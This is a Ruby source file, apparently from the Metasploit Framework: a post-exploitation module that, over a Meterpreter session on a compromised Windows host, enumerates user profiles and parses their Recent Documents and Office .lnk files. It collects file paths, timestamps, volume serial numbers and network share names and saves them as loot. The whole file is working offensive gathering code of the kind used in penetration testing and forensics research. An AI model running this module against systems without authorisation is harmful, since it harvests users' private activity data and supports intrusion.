356 lines
10 KiB
Ruby
356 lines
10 KiB
Ruby
##
|
|
# ## This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/post/common'
|
|
require 'msf/core/post/windows/priv'
|
|
require 'msf/core/post/windows/accounts'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Common
|
|
include Msf::Post::Windows::Accounts
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Gather Dump Recent Files lnk Info',
|
|
'Description' => %q{
|
|
The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script.
|
|
This module will parse .lnk files from a user's Recent Documents folder
|
|
and Microsoft Office's Recent Documents folder, if present.
|
|
Windows creates these link files automatically for many common file types.
|
|
The .lnk files contain time stamps, file locations, including share
|
|
names, volume serial numbers, and more. },
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'davehull <dph_msf[at]trustedsignal.com>'],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
end
|
|
|
|
# Run Method for when run command is issued
|
|
def run
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
|
enum_users(sysinfo['OS']).each do |user|
|
|
if user['userpath']
|
|
print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..."
|
|
extract_lnk_info(user['userpath'])
|
|
else
|
|
print_status "No Recent directory found for user #{user['username']}. Nothing to do."
|
|
end
|
|
if user['useroffcpath']
|
|
print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..."
|
|
extract_lnk_info(user['useroffcpath'])
|
|
else
|
|
print_status "No Recent Office files found for user #{user['username']}. Nothing to do."
|
|
end
|
|
end
|
|
end
|
|
|
|
def enum_users(os)
|
|
users = []
|
|
userinfo = {}
|
|
user = session.sys.config.getuid
|
|
userpath = nil
|
|
useroffcpath = nil
|
|
sysdrv = session.fs.file.expand_path("%SystemDrive%")
|
|
if os =~ /Windows 7|Vista|2008/
|
|
userpath = sysdrv + "\\Users\\"
|
|
lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\"
|
|
officelnkpath = "\\AppData\\Roaming\\Microsoft\\Office\\Recent\\"
|
|
else
|
|
userpath = sysdrv + "\\Documents and Settings\\"
|
|
lnkpath = "\\Recent\\"
|
|
officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\"
|
|
end
|
|
if is_system?
|
|
print_status("Running as SYSTEM extracting user list...")
|
|
session.fs.dir.foreach(userpath) do |u|
|
|
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/
|
|
userinfo['username'] = u
|
|
userinfo['userpath'] = userpath + u + lnkpath
|
|
userinfo['useroffcpath'] = userpath + u + officelnkpath
|
|
userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
|
|
userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
|
|
users << userinfo
|
|
userinfo = {}
|
|
end
|
|
else
|
|
uservar = session.fs.file.expand_path("%USERNAME%")
|
|
userinfo['username'] = uservar
|
|
userinfo['userpath'] = userpath + uservar + lnkpath
|
|
userinfo['useroffcpath'] = userpath + uservar + officelnkpath
|
|
userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
|
|
userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
|
|
users << userinfo
|
|
end
|
|
return users
|
|
end
|
|
|
|
# This is a hack because Meterpreter doesn't support exists?(file)
|
|
def dir_entry_exists(path)
|
|
files = session.fs.dir.entries(path)
|
|
rescue
|
|
return nil
|
|
else
|
|
return path
|
|
end
|
|
|
|
def extract_lnk_info(path)
|
|
session.fs.dir.foreach(path) do |file_name|
|
|
if file_name =~ /\.lnk$/ # We have a .lnk file
|
|
record = nil
|
|
offset = 0 # ToDo: Look at moving this to smaller scope
|
|
lnk_file = session.fs.file.new(path + file_name, "rb")
|
|
record = lnk_file.sysread(0x04)
|
|
if record.unpack('V')[0] == 76 # We have a .lnk file signature
|
|
file_stat = session.fs.filestat.new(path + file_name)
|
|
print_status "Processing: #{path + file_name}."
|
|
@data_out = ""
|
|
|
|
record = lnk_file.sysread(0x48)
|
|
hdr = get_headers(record)
|
|
|
|
@data_out += get_lnk_file_MAC(file_stat, path, file_name)
|
|
@data_out += "Contents of #{path + file_name}:\n"
|
|
@data_out += get_flags(hdr)
|
|
@data_out += get_attrs(hdr)
|
|
@data_out += get_lnk_MAC(hdr)
|
|
@data_out += get_showwnd(hdr)
|
|
@data_out += get_lnk_MAC(hdr)
|
|
|
|
# advance the file & offset
|
|
offset += 0x4c
|
|
|
|
if shell_item_id_list(hdr)
|
|
lnk_file.sysseek(offset, ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(2)
|
|
offset += record.unpack('v')[0] + 2
|
|
end
|
|
# Get File Location Info
|
|
if (hdr["flags"] & 0x02) > 0
|
|
lnk_file.sysseek(offset, ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(4)
|
|
tmp = record.unpack('V')[0]
|
|
if tmp > 0
|
|
lnk_file.sysseek(offset, ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(0x1c)
|
|
loc = get_file_location(record)
|
|
if (loc['flags'] & 0x01) > 0
|
|
|
|
@data_out += "\tShortcut file is on a local volume.\n"
|
|
|
|
lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(0x10)
|
|
lvt = get_local_vol_tbl(record)
|
|
lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10)
|
|
|
|
@data_out += "\t\tVolume Name = #{lvt['name']}\n" +
|
|
"\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" +
|
|
"\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n"
|
|
end
|
|
|
|
if (loc['flags'] & 0x02) > 0
|
|
|
|
@data_out += "\tFile is on a network share.\n"
|
|
|
|
lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(0x14)
|
|
nvt = get_net_vol_tbl(record)
|
|
nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14)
|
|
|
|
@data_out += "\tNetwork Share name = #{nvt['name']}\n"
|
|
end
|
|
|
|
if loc['base_ofs'] > 0
|
|
@data_out += get_target_path(loc['base_ofs'] + offset, lnk_file)
|
|
elsif loc['path_ofs'] > 0
|
|
@data_out += get_target_path(loc['path_ofs'] + offset, lnk_file)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
lnk_file.close
|
|
logfile = store_loot("host.windows.lnkfileinfo", "text/plain", session,@data_out , "#{sysinfo['Computer']}_#{file_name}.txt", "User lnk file info")
|
|
end
|
|
end
|
|
end
|
|
|
|
# Not only is this code slow, it seems
|
|
# buggy. I'm studying the recently released
|
|
# MS Specs for a better way.
|
|
def get_target_path(path_ofs, lnk_file)
|
|
name = []
|
|
lnk_file.sysseek(path_ofs, ::IO::SEEK_SET)
|
|
record = lnk_file.sysread(2)
|
|
while (record.unpack('v')[0] != 0)
|
|
name.push(record)
|
|
record = lnk_file.sysread(2)
|
|
end
|
|
return "\tTarget path = #{name.join}\n"
|
|
end
|
|
|
|
def shell_item_id_list(hdr)
|
|
# Check for Shell Item ID List
|
|
if (hdr["flags"] & 0x01) > 0
|
|
return true
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def get_lnk_file_MAC(file_stat, path, file_name)
|
|
data_out = "#{path + file_name}:\n"
|
|
data_out += "\tAccess Time = #{file_stat.atime}\n"
|
|
data_out += "\tCreation Date = #{file_stat.ctime}\n"
|
|
data_out += "\tModification Time = #{file_stat.mtime}\n"
|
|
return data_out
|
|
end
|
|
|
|
def get_vol_type(type)
|
|
vol_type = { 0 => "Unknown",
|
|
1 => "No root directory",
|
|
2 => "Removable",
|
|
3 => "Fixed",
|
|
4 => "Remote",
|
|
5 => "CD-ROM",
|
|
6 => "RAM Drive"}
|
|
return vol_type[type]
|
|
end
|
|
|
|
def get_showwnd(hdr)
|
|
showwnd = { 0 => "SW_HIDE",
|
|
1 => "SW_NORMAL",
|
|
2 => "SW_SHOWMINIMIZED",
|
|
3 => "SW_SHOWMAXIMIZED",
|
|
4 => "SW_SHOWNOACTIVE",
|
|
5 => "SW_SHOW",
|
|
6 => "SW_MINIMIZE",
|
|
7 => "SW_SHOWMINNOACTIVE",
|
|
8 => "SW_SHOWNA",
|
|
9 => "SW_RESTORE",
|
|
10 => "SHOWDEFAULT"}
|
|
data_out = "\tShowWnd value(s):\n"
|
|
showwnd.each do |key, value|
|
|
if (hdr["showwnd"] & key) > 0
|
|
data_out += "\t\t#{showwnd[key]}.\n"
|
|
end
|
|
end
|
|
return data_out
|
|
end
|
|
|
|
def get_lnk_MAC(hdr)
|
|
data_out = "\tTarget file's MAC Times stored in lnk file:\n"
|
|
data_out += "\t\tCreation Time = #{Time.at(hdr["ctime"])}. (UTC)\n"
|
|
data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n"
|
|
data_out += "\t\tAccess Time = #{Time.at(hdr["atime"])}. (UTC)\n"
|
|
return data_out
|
|
end
|
|
|
|
def get_attrs(hdr)
|
|
fileattr = {0x01 => "Target is read only",
|
|
0x02 => "Target is hidden",
|
|
0x04 => "Target is a system file",
|
|
0x08 => "Target is a volume label",
|
|
0x10 => "Target is a directory",
|
|
0x20 => "Target was modified since last backup",
|
|
0x40 => "Target is encrypted",
|
|
0x80 => "Target is normal",
|
|
0x100 => "Target is temporary",
|
|
0x200 => "Target is a sparse file",
|
|
0x400 => "Target has a reparse point",
|
|
0x800 => "Target is compressed",
|
|
0x1000 => "Target is offline"}
|
|
data_out = "\tAttributes:\n"
|
|
fileattr.each do |key, attr|
|
|
if (hdr["attr"] & key) > 0
|
|
data_out += "\t\t#{fileattr[key]}.\n"
|
|
end
|
|
end
|
|
return data_out
|
|
end
|
|
|
|
# Function for writing results of other functions to a file
|
|
def filewrt(file2wrt, data2wrt)
|
|
output = ::File.open(file2wrt, "ab")
|
|
if data2wrt
|
|
data2wrt.each_line do |d|
|
|
output.puts(d)
|
|
end
|
|
end
|
|
output.close
|
|
end
|
|
|
|
def get_flags(hdr)
|
|
flags = {0x01 => "Shell Item ID List exists",
|
|
0x02 => "Shortcut points to a file or directory",
|
|
0x04 => "The shortcut has a descriptive string",
|
|
0x08 => "The shortcut has a relative path string",
|
|
0x10 => "The shortcut has working directory",
|
|
0x20 => "The shortcut has command line arguments",
|
|
0x40 => "The shortcut has a custom icon"}
|
|
data_out = "\tFlags:\n"
|
|
flags.each do |key, flag|
|
|
if (hdr["flags"] & key) > 0
|
|
data_out += "\t\t#{flags[key]}.\n"
|
|
end
|
|
end
|
|
return data_out
|
|
end
|
|
|
|
def get_headers(record)
|
|
hd = record.unpack('x16V12x8')
|
|
hdr = Hash.new()
|
|
hdr["flags"] = hd[0]
|
|
hdr["attr"] = hd[1]
|
|
hdr["ctime"] = get_time(hd[2], hd[3])
|
|
hdr["mtime"] = get_time(hd[4], hd[5])
|
|
hdr["atime"] = get_time(hd[6], hd[7])
|
|
hdr["length"] = hd[8]
|
|
hdr["icon_num"] = hd[9]
|
|
hdr["showwnd"] = hd[10]
|
|
hdr["hotkey"] = hd[11]
|
|
return hdr
|
|
end
|
|
|
|
def get_net_vol_tbl(file_net_rec)
|
|
nv = Hash.new()
|
|
(nv['len'], nv['ofs']) = file_net_rec.unpack("Vx4Vx8")
|
|
return nv
|
|
end
|
|
|
|
def get_local_vol_tbl(lvt_rec)
|
|
lv = Hash.new()
|
|
(lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4')
|
|
return lv
|
|
end
|
|
|
|
def get_file_location(file_loc_rec)
|
|
location = Hash.new()
|
|
(location["len"], location["ptr"], location["flags"],
|
|
location["vol_ofs"], location["base_ofs"], location["network_ofs"],
|
|
location["path_ofs"]) = file_loc_rec.unpack('V7')
|
|
return location
|
|
end
|
|
|
|
def get_time(lo_byte, hi_byte)
|
|
if (lo_byte == 0 && hi_byte == 0)
|
|
return 0
|
|
else
|
|
lo_byte -= 0xd53e8000
|
|
hi_byte -= 0x019db1de
|
|
time = (hi_byte * 429.4967296 + lo_byte/1e7).to_i
|
|
if time < 0
|
|
return 0
|
|
end
|
|
end
|
|
return time
|
|
end
|
|
end
|